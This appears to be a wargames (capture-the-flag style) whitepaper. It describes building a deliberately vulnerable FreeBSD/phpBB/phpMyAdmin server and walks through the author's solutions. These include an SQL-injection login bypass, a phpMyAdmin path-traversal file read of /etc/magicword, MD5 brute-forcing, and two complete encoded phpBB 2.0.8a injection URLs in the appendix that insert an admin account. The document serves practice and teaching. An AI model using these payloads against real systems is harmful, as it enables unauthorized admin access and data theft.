WARGAMES #4 – WHITEPAPER BY GWANUN

1. Introduction

1.1 Some words about WGS

This part is written for all the people out there who don't know what a wargames-server exactly is. If you already know this, you can skip this part unworried.

A wargames-server is a computer which is placed in the internet. On this computer, a server-operatingsystem (Linux, Windows, Solaris...) is running offering several services (ftp, mySQL, apache...). But what's the difference to a normal server?

On the wargames-server, you are invited by the administrator to hack the box. You will not be harassed by any department (fbi, police, whatever...). You are all the time on the legal side! So a WGS (wargames-server) is an awesome possibility to improve you hacking skills and your knowledge about servers.

Usually, the administrator of the WGS gives you some targets you should reach, for example: Doing defacement, copying a file from a protected folder or even getting root as the highest quest!

1.2 What is this document structured like?

This file consists of 5 parts. The first part is the one you are reading right now: The Introduction. The 2nd tells you everything about the installation of the server. In the 3rd are the targets mentioned you should reach. In the 4th are ways mentioned how to reach the several targets from 3. And the 5th and last one is the apprendix.

1.3 WTH is Gwanun?

You will read the name Gwanun often in this paper. This is my nickname used @astalavista.NET. I'm the man who is organizing the wargames for astalavista.NET. I'm working for the Astalavista Group here in Switzerland. If you have any questions about the wargames, don't hesitate to contact me -> gwanun@astalvista.net!

1.4 What else?

> Greetings to the following members: prozac, IVAN, g0atherd, Minky, Daremo, Xe0r, Spoofed Existence and Auzy for being such great members and spending a lot of time fort he memberportal! Thanks mates!

> *An entire generation pumping gas and waiting tables, or they're slaves with white collars.*
>
> *Advertisements have them chasing cars and clothes, working jobs they hate so they can buy shit they don't need. We are the middle children of history, with no purpose or place.*
>
> *We have no great war, or great depression. The great war is a spiritual war. The great depression is our lives.*
>
> *We were raised by television to believe that we'd be millionaires and movie gods and rock stars - but we won't. And we're learning that fact. And we're very, very pissed-off.*
>
> *Tyler Durden – Fight Club*

2. INSTALLATION

2.1 Software / Versions

OS	FreeBSD 4.9
Apache	2.0.52
MySQL	4.1.9 freebsd
PHP	4.3.1
phpMyAdmin	2.5.4
phpBB	2.0.8a

2.2 Network-Configuration

Hostname	wargames4
IP	{IP}
Domain	astalavista
Gateway	{GW}
DNS	195.65.88.11

2.3 Useraccounts

System	root	*****
mySQL	root	*****
	mysqluser	*****
	t2mysql	*****

2.4 Installation of Apache 2.0.52

```
#Copy file httpd-2.0.52.tar.gz to /root
#tar -xzvf httpd-2.0.52.tar.gz
#mv httpd-2.0.52 httpd
#cd httpd
#./configure --prefix=/usr/local/apache
#make && make install
#vi /usr/local/apache/conf/httpd.conf
```

```
307: DocumentRoot „/srv/www“
332: Directory „/srv/www“
```

```
#ln /usr/local/apache/bin/apachectl /usr/sbin/apachectl
#apachectl start
```

2.5 Installation of MySQL 4.1.9

```
#Move mysql-4.1.9.tar.gz to /root
#tar -xzvf mysql-4.1.9.tar.gz
#mv mysql-4.1.7 /usr/local/mysql
#pw groupadd mysql
#pw useradd mysql –g mysql
#chown –R root /usr/local/mysql
#chown –R mysql /usr/local/mysql/data
#chgrp –R mysql /usr/local/mysql
#cd /usr/local/mysql
#./configure --prefix=/usr/local/mysql
#ln /usr/local/mysql/bin/mysqld_safe /usr/local/sbin/mysqld_safe
#mysqld_safe –user=mysql &
```

2.6 Installation PHP 4.3.1

```
#Move php4.3.1.tar.gz to /root
#tar -xzvf php4.3.1.tar.gz
#mv php4.3.1 /usr/local/php
#cd /usr/local/php
#./configure --prefix=/usr/local/php --with-
 apxs2=/usr/local/apache/bin/apxs --enable-safe-mode --with-
 mysql=/usr/local/mysql --with-pear
#make && make install
#cp /usr/local/php/libs/libphp4.so /usr/local/apache/lib/
#vi /usr/local/apache/conf/httpd.conf
```

```
233: LoadModule php4_module lib/libphp4.so
395: DirectoryIndex index.html index.php
xxx: AddType application/x-httpd-php .php
xxx: AddType application/x-httpd-php-source .phps
```

```
#apachectl restart
```

2.7 phpMyAdmin 2.5.4

```
#tar -xzvf phpMyAdmin-2.5.4tar.gz
#mv phpMyAdmin-2.5.4 /srv/www/phpMyAdmin/
#vi /srv/www/phpMyAdmin/config.inc.php
```

```
39: $cfg['PmaAbsoluteUri']='http://{IP}/phpMyAdmin/';
60: $cfg['blowfish_secret'] = 'wargames@astalavista';
79: $cfg['Servers'][$i]['auth_type'] = 'cookie';
80: $cfg['Servers'][$i]['user'] = '';
```

2.8 phpBB 2.0.8a

```
#tar –xjvf phpBB-2.0.8a.tar.bz2
#mv phpBB2 /srv/www/phpBB
#chmod –R 755 /srv/www/phpBB
#chmod 777 /srv/www/phpBB/config.php
```

Now we can open the Webinstaller with http://{IP}/phpBB/install/install.php. But before I created a mysqluser and a database with phpMyAdmin. Following the information I entered for the phpBB2-Installation.

DB-Server	localhost
DB-Name	phpBB
DB-User	mysqluser
DB-PW	wargames4
DB-Prefix	forum_

```
#chmod 644 /srv/www/phpBB/config.php
#rm –rf /srv/www/phpBB/install/
#rm –rf /srv/www/phpBB/contrib/
```

With this, the installation of the forum is finished. Now I'm able to configure the board with http://{IP}/phpBB/admin/. I decided to install some fancy-themes and made some general configurations. I think you will get the point yourself ☺.

3. TARGETS

On http://{IP}/ we can find the starting-page for the WGS4. All the texts below are taken from this page.

3.1 Target#1: JAVA-Applet

Description	You can see a java-based weblogin. If you insert the right username and password, you will be redirected to a webpage. There you will find string, which has to be decrypted. Get the DECRYPTED string.
Link	http://{IP}/target1/

3.2 Target#2: Weblogin

Description	You have a access to a website listing the names of all users already done this part. To add a name, you have to login into an admin-panel. Find a way to log in and add you name to the list!
Link	http://{IP}/target2/

3.3 Target#3: Getting Admin on Webboard

Description	The „only thing“ you have to do: Get administrator / moderator rights. After you have done this, write a posting in the „Administrators only“-Board, NOTHING MORE. Do not change anything of the board configuration!
Link	http://{IP}/phpBB/

3.4 Target#4: phpMyAdmin

Description	The link directs you to the weblogin of phpMyAdmin. Figure out the username / password, login in and create a table with your name in the database „target4“.
Link	http://{IP}/phpMyAdmin/

3.5 Target#5: Magic word

Description	There is a md5-hash of a string in /etc/magicword. Find a way to read the hash-value and get the original string.
Link	-

3.6 Target#6: The root-quest

Description	„Simply“ get a root-access and add your name to the list at the end of this page. Do NOT change anything with the systemconfiguration!
Link	-

4. Solutions

4.1 Target#1: JAVA-Applet

Difficulty	Easy

Solution

I first started with this target because I thought this should be the easiest one. So I opened the target1-page [1] and watched to login. I opened the source-code of the page and found this:

```
<applet code="PrettyPassword.class"
archive="password.zip" width="280" height="500">
```

I shortly googled [2] for „PrettyPassword.class“ but couldn't find anything useful. So I downloaded the File „PrettyPassword.class“ and opened it with DJ Java Decompiler ver. 2.8.8.54 (1).

I scrolled through the code until I found an interesting line:

```
url = new URL(getDocumentBase(),
"getpasswords101.txt");
```

So I visited [3] and got a plaintext-file containing username, password and the redirection-url!

```
cryptical-string-t1.html
god | like
```

Just opened [4] in Browser and came to a new site showing a decrypted string:

```
4d 44 45 77 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d
44 41 77 4d 44 45 67 4d 44 45 78 4d 54 41 77 4d 54
41 67 4d 44 45 78 4d 44 41 78 4d 54 45 67 4d 44 45
78 4d 44 41 78 4d 44 45 67 4d 44 45 78 4d 54 41 78
4d 44 41 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d
44 41 78 4d 54 41 77 4d 44 45 67 4d 44 41 78 4d 44
41 77 4d 44 41 67 4d 44 45 78 4d 44 41 78 4d 44 41
67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78
4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 44 41 78 4d
44 45 67 4d 44 41 78 4d 44 41 77 4d 44 45 67 4d 44
41 78 4d 44 41 77 4d 44 41 67 4d 44 45 77 4d 44 41
77 4d 54 45 67 4d 44 45 78 4d 44 45 78 4d 54 45 67
4d 44 45 78 4d 44 45 78 4d 54 41 67 4d 44 45 78 4d
44 41 78 4d 54 45 67 4d 44 45 78 4d 54 41 77 4d 54
41 67 4d 44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45
78 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 54 41 78
4d 44 45 67 4d 44 45 78 4d 44 45 78 4d 44 41 67 4d
44 45 78 4d 44 41 77 4d 44 45 67 4d 44 45 78 4d 54
41 78 4d 44 41 67 4d 44 45 78 4d 44 45 77 4d 44 45
67 4d 44 45 78 4d 44 45 78 4d 54 45 67 4d 44 45 78
4d 44 45 78 4d 54 41 67 4d 44 45 78 4d 54 41 77 4d
54 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67 4d 44
45 78 4d 54 41 78 4d 44 41 67 4d 44 45 78 4d 44 45
78 4d 54 45 67 4d 44 41 78 4d 44 41 77 4d 44 41 67
4d 44 45 78 4d 54 45 77 4d 44 45 67 4d 44 45 78 4d
44 45 78 4d 54 45 67 4d 44 45 78 4d 54 41 78 4d 44
45 67 4d 44 41 78 4d 44 41 77 4d 44 45 67 4d 44 41
78 4d 44 41 77 4d 44 41 67 4d 44 41 78 4d 54 45 77
4d 54 41 67 4d 44 41 78 4d 44 45 78 4d 44 45 67 4d
44 41 78 4d 44 45 77 4d 44 45 67
```

For me it was sure this has to be a HEX-string, so i used the Encryption Assortment Kit [5] of Astalavista.NET with the mode „Hex to AscII“ and got the following output...

```
MDEwMTAxMDAgMDExMDAwMDEgMDExMTAwMTAgMDExMDAxMTEg
MDExMDAxMDEgMDExMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEg
MDAxMDAwMDAgMDExMDAxMDAgMDExMDExMTEgMDExMDExMTAg
```

	`MDExMDAxMDEgMDAxMDAwMDEgMDAxMDAwMDAgMDEwMDAwMTEg`
	`MDExMDExMTEgMDExMDExMTAgMDExMDAxMTEgMDExMTAwMTAg`
	`MDExMDAwMDEgMDExMTAxMDAgMDExMTAxMDEgMDExMDExMDAg`
	`MDExMDAwMDEgMDExMTAxMDAgMDExMDEwMDEgMDExMDExMTEg`
	`MDExMDExMTAgMDExMTAwMTEgMDAxMDAwMDAgMDExMTAxMDAg`
	`MDExMDExMTEgMDAxMDAwMDAgMDExMTEwMDEgMDExMDExMTEg`
	`MDExMTAxMDEgMDAxMDAwMDEgMDAxMDAwMDAgMDAxMTEwMTAg`
	`MDAxMDExMDEgMDAxMDEwMDEg`
	My first idea was „wth?!“, so I tried some of the other encryptions and with „Base64 Decode“ and got the next string...
	`01010100 01100001 01110010 01100111 01100101`
	`01110100 00100000 00110001 00100000 01100100`
	`01101111 01101110 01100101 00100001 00100000`
	`01000011 01101111 01101110 01100111 01110010`
	`01100001 01110100 01110101 01101100 01100001`
	`01110100 01101001 01101111 01101110 01110011`
	`00100000 01110100 01101111 00100000 01111001`
	`01101111 01110101 00100001 00100000 00111010`
	`00101101 00101001`
	Okay, this was easy again, it’s clear this is binary, so I made an „Binary to AscII“ and finally got the solution:
	`Target 1 done! Congratulations to you! :-)`
	Not a hard target, but had to use several tools.

Links	[1] http://{IP}/target1/index.html [2] http://www.google.com [3] http://{IP}/target1/getpasswords101.txt [4] http://{IP}/target1/ cryptical-string-t1.html [5] http://www.astalavista.net/member/onlinetools.php?cmd=enckit
Tools	(1) http://www.astalavista.net/member/out.php?ID=1149

4.2 Target#2: Weblogin

Difficulty	Easy

Solution	With the link [1] I came to a simple webinterface showing a login-form. The only thing which came in my mind was to try SQL-Injection. So i filled the form for a test like this:
	`User-Name: '`
	`Password:`
	This returned the following interesting output:
	`**Database error:** Invalid SQL: SELECT * FROM users`
	`WHERE name=''' && pwd='' ORDER BY id ASC LIMIT 1`
	This means, that this is a bad programmed login! I filled the fields with the most-used SQL-injection tag:
	`User-Name: ' OR '1'='1`
	`Password: ' OR '1'='1`
	With this the original query is edited to return always a TRUE (because 1=1 is always true.. ☺). I was redirected to another webinterface where I could add my name.

Links	[1] http://{IP}/target2/
Tools	-

4.3 Target#3: Getting Admin on Webboard

Difficulty	Middle

Solution	First of all, i visited SecurityFocus [1] and looked and looked for entries about the phpBB 2.0.8. I found a some interesting entries, but nothing who worked for me atm. So i went to Google [2] and have found a topic in a forum [3] who has looked great!
	I tried the exploit [Apprendix 4.3.1]. But didn't work, so i guessed, that the table-prefix was edited. But what is the table prefix..? I surfed around a little bit and found a interesting script on astalavista.NET (1).
	Compiled the script and started it in cmd like this
	`phpbb.exe http://{IP}/phpBB/ 30000`
	`–cookiename=phpbb_cookie > output.txt`
	I got a lot of string output, and with this also this:
	`- string detected : localhost`
	`- string detected : phpBB`
	`- string detected : mysqluser`
	`- string detected : wargames4`
	`- string detected : forum_`
	Hooray! With a little knowledge about the forum, i could guess the following:
	`dbhost : localhost`
	`dbname : phpBB`
	`dbuser : mysqluser`
	`dbpasswd : wargames4`
	`dbprefix : forum_`
	I solved 2 targets with 1 silly script! I made some edits with the URL used before and in the end i had the string in [Apprendix 4.3.2]. Copied into browser, pressed enter.. and got admin!
	Logged in as ze3lock / thepass and created another user (Gwanun) with admin-rights. After this i removed the account ze3lock. Target reached! ☺

Links	[1] http://www.securityfocus.com [2] http://www.google.com [3] http://www.egocrew.de/board/thread.php?threadid=4003
Tools	(1) http://www.astalavista.net/member/results.php?id=9961

4.4 Target#4: phpMyAdmin

Difficulty	Easy
Solution	With the information i collected in Target#3, it was just a loggin-in into phpMyAdmin [1] and creating a table named „gwanun“ in the database „target4“. Peanuts!
Links	[1] http://{IP}/phpMyAdmin/
Tools	-

4.5 Target#5: Magic word

Difficulty	Easy-Middle

Solution	I surfed around the net looking for vulns in the services running on the server and found a file-disclosure-exploit in phpMyAdmin [1]. Because I already hat access to phpMyAdmin from t3/t4, i just entered the url [2] in the browser and got the following output:
	`81dc9bdb52d04dc20036dbd8313ed055`
	This ist he string I was looking for, but still as a md5-hash. Because the only good way to get the real-string with md5 is bruteforce, I thought it hat to be an easy, unsecure value. Downloaded a bruteforcer from astalavista.NET (1) and entered the hash-value. Minutes laters i got the string i was looking for:
	`Cracked string: 1234`
	So i got the „Magic word". If the word would be more than 4 chars, the bruteforce could take a long, long time!

Links	[1] http://www.securityfocus.com/bid/9564/exploit/ [2] http://{IP}/phpMyAdmin/export.php?what=../../../../../../etc/magicword%00
Tools	(1) http://www.astalavista.net/member/out.php?ID=4893

4.6 Target#6: The root-quest

Difficulty	-
Solution	-
Links	-
Tools	-

5. Apprendix

5.1 Target#3: Admin-Exploit (1st Try)

```
http://{IP}/phpBB/viewtopic.php?t=2&highlight=%2527%252emysql_query(
chr(73)%252echr(78)%252echr(83)%252echr(69)%252echr(82)%252echr(84)%
252echr(32)%252echr(73)%252echr(78)%252echr(84)%252echr(79)%252echr(
32)%252echr(112)%252echr(104)%252echr(112)%252echr(98)%252echr(98)%2
52echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252ec
hr(115)%252echr(40)%252echr(117)%252echr(115)%252echr(101)%252echr(1
14)%252echr(95)%252echr(105)%252echr(100)%252echr(44)%252echr(117)%2
52echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(97)%252ech
r(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%252echr(44
)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)%2
52echr(97)%252echr(109)%252echr(101)%252echr(44)%252echr(117)%252ech
r(115)%252echr(101)%252echr(114)%252echr(95)%252echr(112)%252echr(97
)%252echr(115)%252echr(115)%252echr(119)%252echr(111)%252echr(114)%2
52echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252ec
hr(114)%252echr(95)%252echr(108)%252echr(101)%252echr(118)%252echr(1
01)%252echr(108)%252echr(41)%252echr(32)%252echr(86)%252echr(65)%252
echr(76)%252echr(85)%252echr(69)%252echr(83)%252echr(32)%252echr(40)
%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252echr(57)%252echr
(57)%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252
echr(44)%252echr(39)%252echr(122)%252echr(101)%252echr(51)%252echr(1
08)%252echr(111)%252echr(99)%252echr(107)%252echr(39)%252echr(44)%25
2echr(39)%252echr(98)%252echr(97)%252echr(51)%252echr(99)%252echr(56
)%252echr(51)%252echr(51)%252echr(52)%252echr(56)%252echr(98)%252ech
r(100)%252echr(100)%252echr(102)%252echr(55)%252echr(98)%252echr(51)
%252echr(54)%252echr(56)%252echr(98)%252echr(52)%252echr(55)%252echr
(56)%252echr(97)%252echr(99)%252echr(48)%252echr(54)%252echr(100)%25
2echr(51)%252echr(51)%252echr(52)%252echr(48)%252echr(101)%252echr(3
9)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(41))%252e
%2527
```

5.2 Target#3: Admin-Exploit (2nd Try)

```
http://{IP}/phpBB/viewtopic.php?t=2&highlight=%2527%252emysql_query(
chr(73)%252echr(78)%252echr(83)%252echr(69)%252echr(82)%252echr(84)%
252echr(32)%252echr(73)%252echr(78)%252echr(84)%252echr(79)%252echr(
32)%252echr(102)%252echr(111)%252echr(114)%252echr(117)%252echr(109)
%252echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252
echr(115)%252echr(40)%252echr(117)%252echr(115)%252echr(101)%252echr
(114)%252echr(95)%252echr(105)%252echr(100)%252echr(44)%252echr(117)
%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(97)%252e
chr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%252echr(
44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)
%252echr(97)%252echr(109)%252echr(101)%252echr(44)%252echr(117)%252e
chr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(112)%252echr(
97)%252echr(115)%252echr(115)%252echr(119)%252echr(111)%252echr(114)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252
echr(114)%252echr(95)%252echr(108)%252echr(101)%252echr(118)%252echr
(101)%252echr(108)%252echr(41)%252echr(32)%252echr(86)%252echr(65)%2
52echr(76)%252echr(85)%252echr(69)%252echr(83)%252echr(32)%252echr(4
0)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252echr(57)%252ec
hr(57)%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%2
52echr(44)%252echr(39)%252echr(122)%252echr(101)%252echr(51)%252echr
(108)%252echr(111)%252echr(99)%252echr(107)%252echr(39)%252echr(44)%
252echr(39)%252echr(98)%252echr(97)%252echr(51)%252echr(99)%252echr(
56)%252echr(51)%252echr(51)%252echr(52)%252echr(56)%252echr(98)%252e
chr(100)%252echr(100)%252echr(102)%252echr(55)%252echr(98)%252echr(5
1)%252echr(54)%252echr(56)%252echr(98)%252echr(52)%252echr(55)%252ec
hr(56)%252echr(97)%252echr(99)%252echr(48)%252echr(54)%252echr(100)%
252echr(51)%252echr(51)%252echr(52)%252echr(48)%252echr(101)%252echr
(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(41))%25
2e%2527
```